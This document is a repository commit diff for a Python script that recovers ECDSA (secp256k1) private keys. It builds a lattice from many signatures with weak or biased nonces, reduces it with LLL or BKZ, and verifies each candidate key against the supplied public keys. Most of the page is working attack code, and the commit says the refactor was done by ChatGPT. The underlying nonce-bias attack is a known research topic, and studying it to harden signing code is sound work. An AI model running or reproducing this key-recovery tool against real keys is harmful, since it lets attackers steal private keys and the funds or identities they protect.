Skip to content

Commit c94e217

Browse files
authored
Update crack_weak_ECDSA_nonces_with_LLL.py
1 parent 4755094 commit c94e217

File tree

1 file changed

+42
-68
lines changed

1 file changed

+42
-68
lines changed

crack_weak_ECDSA_nonces_with_LLL.py

Lines changed: 42 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,24 @@
11
#!/usr/bin/env python
22
# Author: Dario Clavijo (2020)
3-
# Based on:
4-
# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
5-
# https://www.youtube.com/watch?v=6ssTlSSIJQE
3+
# Refactored to use fpylll and pubkey verification by ChatGPT (2025)
64

75
import sys
86
import argparse
97
import mmap
108
import gmpy2
11-
import binascii
12-
from ecdsa import SigningKey, SECP256k1
139
from fpylll import IntegerMatrix, LLL, BKZ
10+
from ecdsa import SigningKey, SECP256k1
11+
1412

15-
# Default order from secp256k1 curve
1613
DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1714

1815

1916
def modular_inv(a, b):
20-
"""Efficient modular inverse"""
2117
return int(gmpy2.invert(a, b))
2218

2319

2420
def load_csv(filename, limit=None, mmap_flag=False):
25-
"""Load CSV with ECDSA data."""
2621
msgs, sigs, pubs = [], [], []
27-
2822
if mmap_flag:
2923
with open(filename, 'r') as f:
3024
mapped_file = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
@@ -46,18 +40,13 @@ def load_csv(filename, limit=None, mmap_flag=False):
4640
msgs.append(int(Z, 16))
4741
sigs.append((int(R, 16), int(S, 16)))
4842
pubs.append(pub)
49-
5043
return msgs, sigs, pubs
5144

5245

53-
def make_matrix_fpylll(msgs, sigs, B, order):
54-
"""
55-
Construct IntegerMatrix for fpylll reduction.
56-
"""
46+
def make_matrix_fpylll(msgs, sigs, B, order, integer_mode=False):
5747
m = len(msgs)
5848
m1, m2 = m + 1, m + 2
5949
B2 = 1 << B
60-
6150
mat = IntegerMatrix(m2, m2)
6251

6352
msgn, rn, sn = msgs[-1], sigs[-1][0], sigs[-1][1]
@@ -67,11 +56,21 @@ def make_matrix_fpylll(msgs, sigs, B, order):
6756

6857
for i in range(m):
6958
mi_sigi_order = modular_inv(sigs[i][1], order)
59+
delta_r = (sigs[i][0] * mi_sigi_order - rnsn_inv) % order
60+
delta_z = (msgs[i] * mi_sigi_order - mnsn_inv) % order
61+
7062
mat[i, i] = order
71-
mat[m, i] = int((sigs[i][0] * mi_sigi_order - rnsn_inv) % order)
72-
mat[m1, i] = int((msgs[i] * mi_sigi_order - mnsn_inv) % order)
63+
if integer_mode:
64+
mat[m, i] = int(order * delta_r)
65+
mat[m1, i] = int(order * delta_z)
66+
else:
67+
mat[m, i] = int(delta_r)
68+
mat[m1, i] = int(delta_z)
7369

74-
mat[m, m1] = B2 // order
70+
if integer_mode:
71+
mat[m, m1] = B2
72+
else:
73+
mat[m, m1] = int(B2 // order)
7574
mat[m1, m1] = B2
7675

7776
return mat
@@ -87,10 +86,6 @@ def reduce_matrix(matrix, algorithm="LLL"):
8786

8887

8988
def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
90-
"""
91-
Try recovering private keys from reduced lattice matrix.
92-
"""
93-
from math import sqrt
9489
keys = set()
9590
m = len(msgs)
9691
msgn, rn, sn = msgs[-1], sigs[-1][0], sigs[-1][1]
@@ -102,10 +97,7 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
10297
c = sn * msgs[i]
10398
d = msgn * sigs[i][1]
10499
cd = (c - d) % order
105-
if a == b:
106-
ab_list = None
107-
else:
108-
ab_list = [(a - b) % order, (b - a) % order]
100+
ab_list = None if a == b else [(a - b) % order, (b - a) % order]
109101
params.append((b, cd, ab_list))
110102

111103
row_norms = []
@@ -124,69 +116,51 @@ def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
124116
for ab in ab_list:
125117
if ab:
126118
inv = modular_inv(ab, order)
127-
key = (base * inv) % order
128-
keys.add(key)
119+
keys.add((base * inv) % order)
129120
return list(keys)
130121

131122

132-
def verify_key(privkey, pubkey_hex):
123+
def is_valid_key(privkey: int, pubkeys: list) -> bool:
133124
"""
134-
Verifies whether the private key matches the given compressed or uncompressed pubkey.
125+
Check if privkey matches any known pubkey (hex string, uncompressed only).
135126
"""
136-
sk = SigningKey.from_secret_exponent(privkey, curve=SECP256k1)
137-
vk = sk.get_verifying_key()
127+
try:
128+
sk = SigningKey.from_secret_exponent(privkey, curve=SECP256k1)
129+
vk = sk.get_verifying_key()
130+
derived_hex = "04" + vk.to_string().hex()
131+
return derived_hex.lower() in [p.lower() for p in pubkeys]
132+
except Exception:
133+
return False
138134

139-
x = vk.pubkey.point.x()
140-
y = vk.pubkey.point.y()
141-
x_bytes = x.to_bytes(32, byteorder='big')
142135

143-
# Compressed format
144-
prefix = b'\x02' if y % 2 == 0 else b'\x03'
145-
compressed_pub = prefix + x_bytes
136+
def display_keys(keys, pubkeys):
137+
verified = [k for k in keys if is_valid_key(k, pubkeys)]
138+
if not verified:
139+
print("No verified keys found.")
140+
return
141+
print("\nVerified private keys:")
142+
for key in verified:
143+
print(f"{key:064x}")
146144

147-
# Uncompressed format
148-
uncompressed_pub = b'\x04' + vk.to_string()
149-
150-
pubkey_hex = pubkey_hex.lower()
151-
return (
152-
pubkey_hex == compressed_pub.hex()
153-
or pubkey_hex == uncompressed_pub.hex()
154-
)
155-
156-
157-
def display_keys(keys, ref_pubkey):
158-
"""Display and verify recovered private keys."""
159-
for key in keys:
160-
status = "✔️" if verify_key(key, ref_pubkey) else "❌"
161-
print(f"{key:064x} {status}")
162145

163146
def main():
164147
parser = argparse.ArgumentParser(description="ECDSA private key recovery using lattice reduction (fpylll)")
165148
parser.add_argument("filename", help="CSV file containing ECDSA traces")
166149
parser.add_argument("B", type=int, help="log2 bound parameter B")
167150
parser.add_argument("limit", type=int, help="Limit number of signatures to process")
168-
parser.add_argument(
169-
"--order", type=int, default=DEFAULT_ORDER,
170-
help="Curve order (default: secp256k1)"
171-
)
172-
parser.add_argument(
173-
"--reduction", choices=["LLL", "BKZ"], default="LLL",
174-
help="Lattice reduction algorithm (default: LLL)"
175-
)
176-
parser.add_argument(
177-
"--mmap", action="store_true",
178-
help="Enable mmap for fast CSV access"
179-
)
180-
151+
parser.add_argument("--order", type=int, default=DEFAULT_ORDER, help="Curve order (default: secp256k1)")
152+
parser.add_argument("--reduction", choices=["LLL", "BKZ"], default="LLL", help="Lattice reduction algorithm")
153+
parser.add_argument("--mmap", action="store_true", help="Enable mmap for fast CSV access")
154+
parser.add_argument("--integer_mode", action="store_true", help="Scale matrix to ensure integer values")
181155
args = parser.parse_args()
182156

183157
msgs, sigs, pubs = load_csv(args.filename, limit=args.limit, mmap_flag=args.mmap)
184158
sys.stderr.write(f"Using: {len(msgs)} sigs...\n")
185159

186-
matrix = make_matrix_fpylll(msgs, sigs, args.B, args.order)
160+
matrix = make_matrix_fpylll(msgs, sigs, args.B, args.order, integer_mode=args.integer_mode)
187161
matrix = reduce_matrix(matrix, algorithm=args.reduction)
188162
keys = privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, args.order)
189-
display_keys(keys)
163+
display_keys(keys, pubs)
190164

191165

192166
if __name__ == "__main__":

0 commit comments

Comments
 (0)